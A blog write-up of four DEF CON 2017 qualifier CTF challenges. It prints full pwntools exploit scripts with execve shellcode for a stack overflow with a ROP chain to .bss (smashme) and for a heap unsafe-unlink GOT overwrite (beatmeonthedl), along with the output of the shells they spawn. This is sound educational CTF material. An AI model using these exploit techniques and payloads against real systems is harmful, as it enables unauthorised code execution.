20170429_DEFCON Writeup2

20170429_DEFCON Writeup2

Last year, I couldn’t solve any challenge in DEFCON. I was sooooo sad! :-(.
But this DEFCON could solve 4 challenge, I recognize impruving myskill :-).
 
crackme

 

This is RE Challenge, I need to find particular word and send its base64-encoded string.

 

This is main disassembled mainfunction. I can see sub_C6C function may compare user input and judge collect or not.

 

 

In sub_C6C function there are many function called. Each function is so small anly compare 1 character.

So I try to find out what character each function compare.

 

 

 

 

Finally I solve it.

$ echo “yes and his hands shook with ex” |base64 –
eWVzIGFuZCBoaXMgaGFuZHMgc2hvb2sgd2l0aCBleAo=
$ nc crackme1_f92e0ab22352440383d58be8f046bebe.quals.shallweplayaga.me 10001
send your solution as base64, followed by a newline
4a2181aaf70b04ec984c233fbe50a1fe600f90062a58d6b69ea15b85531b9652
eWVzIGFuZCBoaXMgaGFuZHMgc2hvb2sgd2l0aCBleAo=
The flag is: important videos best playlist Wigeekuk8

smashme

 

In this challenge, I use return-to-text method to soleve it.

 

 

There is no mitigation, so I can exploit just sending shellcode.

 

$ checksec smashme

[*] ‘/mnt/hgfs/VM-Share/20170429_DEFCON/smashme’

Arch:     amd64-64-little

RELRO:    Partial RELRO

Stack:    No canary found

NX:       NX disabled

PIE:      No PIE

 

Disassembled main function is as below. But at first, I don’t know each function in got-plt section because these sympolic name may be removed.

 

 

I need to find function in .got_plt, so I try to find function as below method.  (ex. 0xc9020 point to memmove)

gdb-peda$ x/10gx 0x00000000006C9020
0x6c9020:    0x0000000000431d60    0x000000000043abf0
0x6c9030:    0x000000000043cd30    0x000000000042db90
0x6c9040:    0x00000000004286a0    0x000000000043d1d0
0x6c9050:    0x000000000042d8e0    0x0000000000493620
0x6c9060:    0x0000000000420940    0x0000000000000000
gdb-peda$x/i 0x0000000000431d60
   0x431d60 <__memmove_avx_unaligned>:    mov    rax,rdi
gdb-peda$

 

Finally I find out got_plt function.

 

 

 

So I find that I escape exit function if I input “”Smash me outside, how bout dAAAAAAAAA”. So I input this, I can go to ret, and do buffer over flow.

For exploitation, I use the Return-to-text(.bss). First return to read function to write user input (shellcode) to bss section. Then input shellcode, and return to bss.

from pwn import *
#r = process(‘./smashme’)
r = remote(‘smashme_omgbabysfirst.quals.shallweplayaga.me’, 57348)
raw_input()
l = r.recvuntil(“Welcome to the Dr. Phil Show. Wanna smash?\n”)
print l
elf = ELF(‘./smashme’)
addr_read = elf.symbols[‘read’]
bss = elf.bss()+0x100
log.info(“[+]”+hex(addr_read))
shellcode = “\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05”
pop_rsi_r15 = 0x004a02d3
pop_rdi = 0x0049c8d3
pwn = “Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”
print hex(bss)
print hex(pop_rsi_r15)
# rsi = p64(bss), rdi = 0(stdin), and goto p64(bss)
payload = pwn + p64(pop_rsi_r15)+ p64(bss)+”aaaabbbb”+p64(pop_rdi)+p64(0)+p64(addr_read)+ p64(bss)
print payload
r.sendline(payload)
r.sendline(shellcode)
r.interactive()

 

 

main:
        push    rbp
        mov     rbp, rsp
        sub     rsp, 32
        mov     DWORD PTR [rbp-4], 0
        mov     DWORD PTR [rbp-8], 50
        mov     eax, DWORD PTR [rbp-8]
        movsx   rdx, eax
        lea     rcx, [rbp-32]
        mov     eax, DWORD PTR [rbp-4]
        mov     rsi, rcx
        mov     edi, eax
        call    read
        mov     eax, 0
        leave
        ret          ; rsi = pointer of buf, rdi = fd, rdx = size

 

 

$ python solve_smashme.py
[+] Opening connection to smashme_omgbabysfirst.quals.shallweplayaga.me on port 57348: Done
Welcome to the Dr. Phil Show. Wanna smash?
[*] ‘/mnt/hgfs/VM-Share/20170429_DEFCON/smashme’
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
[*] [+]0x43ea10
0x6cac60
0x4a02d3
Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�J\x00\x00\x00\x00\x00`\xacl\x00\x00\x00\x00\x00aaaabbbb��I\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10�C\x00\x00\x00\x00`\xacl\x00\x00\x00\x00\x00
[*] Switching to interactive mode
$
$
$ ls
flag
smashme
$ cat flag
The flag is: You must be at least this tall to play DEF CON CTF 5b43e02608d66dca6144aaec956ec68d
$

magic

 

 

This challenge is similar to crackme challenge, but I need to solve and find flag from many binaries (200 files).

So I try to automate solve method by using python+capstone.

At first I try to find out where this binary start the subroutine which compare user input. After several minutes, I find out all of binary’s subroutines may be in the range from 0x000000000000093B  to 0x0000000000000dff (it don’t need to adjust accurately, because all I need is to be able to pick up all of “cmp rdi, XXh”)

 

 

Source code is as below.

from capstone import *
from pwn import *
import re
import base64
 
def extract_flag(filename):
    f = open(filename,”r”)
    data = f.read()
 
    flag = “”
 
    start = 0x000000000000093B
    end = 0x0000000000000dff
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    for i in md.disasm(data[start:end], end):
        if i.mnemonic == “cmp”:
            if (len(i.op_str.split(‘, ‘)[1]) == 4) & (i.op_str.split(‘, ‘)[0] == “rdi”):
                char = i.op_str.split(‘, ‘)[1]
                flag += chr(int(char,16))
                #print(“%s” %(i.op_str))
 
    return flag
 
r = remote(‘cm2k-magic_b46299df0752c152a8e0c5f0a9e5b8f0.quals.shallweplayaga.me’, 12001)
l = r.recvline()
print l
 
while 1:
 
    filename = r.recvline().split(“\n”)[0]
 
    print filename
    flag_word = extract_flag(filename)
    print flag_word
 
    r.sendline(base64.b64encode(flag_word))

 

 

$ python solve_magic2.py
[+] Opening connection to cm2k-magic_b46299df0752c152a8e0c5f0a9e5b8f0.quals.shallweplayaga.me on port 12001: Done
send your solution as base64, followed by a newline
f1e56ab8dc43fd0e33b79affdb5ac47911206c9a05f82715dbd7882c85fffd59
didn’t surprise Tom, though
b6d7ff0e83f6ac0ac741bc2c64b5b46dc2a274dd83db63c5e41c36133ac1be43
tive work under terms
5b0490ea26d5548596ca99c3f9592c5d16228a6ddeab3aa45a0dc7fabc14ca20
fore I collapsed against a wall, head down.
cb65c85e9d6d3efffd23e1580510bb6f45b2ff8c05c84b9e8e377d3c03ffb34d
n a twinkl
abe60de564ff191f6a001dd43fb4285f74735498bc39c3df63d19bbb591cb01c
burned all his reputation capita
f96c1a402d0757f8b07baef25c806774be614fb9b7271172655e1195d37852f7
 immediate
28a4f8a23587d1919639ff4114e18c7653ddfff4d338f88247820ac61dd1ef54
ut of a printe
a210dea1a1b877ad178d1718c2ccb1fd5e5e0484eeb907e05dbcca2a07ee0e85
gone. A quick chec
fd9431be8119528acf27853559662473ae4f8a2cf7b2e1689fe9fb12943e9802
y rocked in their seats under the blast of
323da730235582b75113790bd7b50c1803386416ebdd45e5ece14c2394f8720c
push it out
The flag is: a color map of the sun sokemsUbif

beatmeonthedl

 

This is one of famous heap exploitation challenge, I can solve using Unsafe Unlink attack (House of Einherjar).

 

from pwn import *
#r = process(‘./beatmeonthedl’)
r = remote(‘beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me’, 6969)
shellcode = “\x90\x90\x90\x90\x90\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05”
raw_input()
# leak stack address -null termination bug in username-
l = r.recvuntil(“Enter username: “)
print l
r.sendline(“aaaaaaaaaaaaaaaa”)
l = r.recvuntil(“Enter username: “)
stack_addr = u64(l.split(“\n”)[0].split(“aaaaaaaaaaaaaaaa”)[1].ljust(8,”\x00″))
log.info(“[+] stack_addr = ” + hex(stack_addr))
# leak heap address -null termination bug in password-
l = r.recvuntil(“Enter username: “)
print l
r.sendline(“mcfly”)
l = r.recvuntil(“Enter Pass: “)
print l
r.sendline(“aaaaaaaaaaaaaaaaaaaaaaaa”)
l = r.recvuntil(“Enter username: “)
heap_addr = u64(l.split(“\n”)[0].split(“aaaaaaaaaaaaaaaaaaaaaaaa”)[1].ljust(8,”\x00″)) -0x10
log.info(“[+] heap_addr = ” + hex(heap_addr))
# login
r.sendline(“mcfly”)
l = r.recvuntil(“Enter Pass: “)
r.sendline(“awesnap”)
l = r.recvuntil(“| “)
print l
def add_req(data):
    log.info(“add_req : ” + data)
    r.sendline(“1”)
    l = r.recvuntil(“Request text > “)
    print l
    r.sendline(data)
    l = r.recvuntil(“| “)
    print l
def print_req():
    log.info(“print_req : “)
    r.sendline(“2”)
    l = r.recvuntil(“| “)
    print l
def delete_req(index):
    log.info(“delete_req : ” + index)
    r.sendline(“3”)
    l = r.recvuntil(“choice: “)
    print l
    r.sendline(index)
    l = r.recvuntil(“| “)
    print l
def update_req(index, data):
    log.info(“update_req : ” +index+”:”+ data)
    r.sendline(“4”)
    l = r.recvuntil(“choice: “)
    print l
    r.sendline(index)
    l = r.recvuntil(“data: “)
    print l
    r.sendline(data)
    l = r.recvuntil(“| “)
    print l
def exit():
    log.info(“exit : “)
    r.sendline(“5”)
    l = r.recvall()
    print l
# add request 5-times for Unsafe Unlink attack (House of Einherjar)
add_req(“aaaaaaaaaa”)
add_req(“bbbbbbbbbb”)
add_req(“bbbbbbbbbb”)
add_req(“bbbbbbbbbb”)
add_req(“bbbbbbbbbb”)
addr_atoi = 0x00000000006099D8
# Make fake chunk and fd->reqlist[4]
update_req(“4”,”b”*(48+16)+p64(0x0)+p64(0xe41)+p64(0x609e90-0x18)+p64(0x609e90-0x10))
# Make fake used chunk for causing unlink
update_req(“3”,”b”*48+p64(0x0)+p64(0x53)+”\x00″*48)
# Cause unlink and reqlist[2] is overwritten to the address(0x609e90-0x18)
delete_req(“4”)
# before overwritten got, prepare shellcode in heap.
update_req(“3”,shellcode)
# Overwrite reqlist[0] to got_atoi address
update_req(“2”,”A”*8+p64(addr_atoi))
# got_atoi address is overwritten to shellcode address.
update_req(“0”,p64(heap_addr+0x110))

 

 

$ python solve_beatmeonthedl.py
[+] Starting local process ‘./beatmeonthedl’: Done
[+] Opening connection to beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me on port 6969: Done
         __      __       .__                                  __
        /  \    /  \ ____ |  |   ____  ____   _____   ____   _/  |_  ____
        \   \/\/   // __ \|  | _/ ___\/  _ \ /     \_/ __ \  \   __\/  _ \
         \        /\  ___/|  |_\  \__(  <_> )  Y Y  \  ___/   |  | (  <_> )
          \__/\  /  \___  >____/\___  >____/|__|_|  /\___  >  |__|  \____/
               \/       \/          \/            \/     \/
      __  .__             .__         .__                 _____    __  .__
    _/  |_|  |__   ____   |  | _____  |__|______    _____/ ____\ _/  |_|  |__   ____
    \   __\  |  \_/ __ \  |  | \__  \ |  \_  __ \  /  _ \   __\  \   __\  |  \_/ __ \
     |  | |   Y  \  ___/  |  |__/ __ \|  ||  | \/ (  <_> )  |     |  | |   Y  \  ___/
     |__| |___|  /\___  > |____(____  /__||__|     \____/|__|     |__| |___|  /\___  >
               \/     \/            \/                                      \/     \/
  _________.__                .___              __________                __
 /   _____/|  |__ _____     __| _/______  _  __ \______   \_______  ____ |  | __ ___________  ______
 \_____  \ |  |  \\__  \   / __ |/  _ \ \/ \/ /  |    |  _/\_  __ \/  _ \|  |/ \// __ \_  __ \/  ___/
 /        \|   Y  \/ __ \_/ /_/ (  <_> )     /   |    |   \ |  | \(  <_> )    <\  ___/|  |  \/\___ \
/_______  /|___|  (____  /\____ |\____/ \/\_/    |______  / |__|   \____/|__|_ \\___  >__|    /____ >
        \/      \/     \/      \/                       \/                    \/    \/             \/
Enter username:
[*] [+] stack_addr = 0x7fff5cee20f0
Invalid user:
(snip)
[*] update_req : 0:\x10\xa1�\x00\x00\x00\x00
0) P\x1f�)N\x7f
1)
2) AAAAAAAAؙ`
3) \x90\x90\x90\x90\x901�H\xbbѝ\x96\x91Ќ\x97\xffH��ST_\x99RWT^\xb0;\x0f\x05
bbbbbbbbbbbbbbb
choice:
data:
I) Request Exploit.
II) Print Requests.
III) Delete Request.
IV) Change Request.
V) Go Away.
|
[*] Switching to interactive mode
$
$
$ ls
beatmeonthedl
flag
$ cat flag
The flag is: 3asy p33zy h3ap hacking!!
$

Tags: wordpress

May 01, 2017 at 10:06AM
Open in Evernote

Advertisements

2 thoughts on “20170429_DEFCON Writeup2”

    1. Hi, thank you for comment. In investigation in some file, I found that the comparing user input subroutine was started at 0x000000000000093B in those file, and most longest end of those subroutine of those file is 0x0000000000000dff. So I choose it, but I think I was going to do try another value if this script was fail. Why I restricted this value is that I think “cmp rdi, XXh” may be in another area.
      I hope it is any help to you!

      Like

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s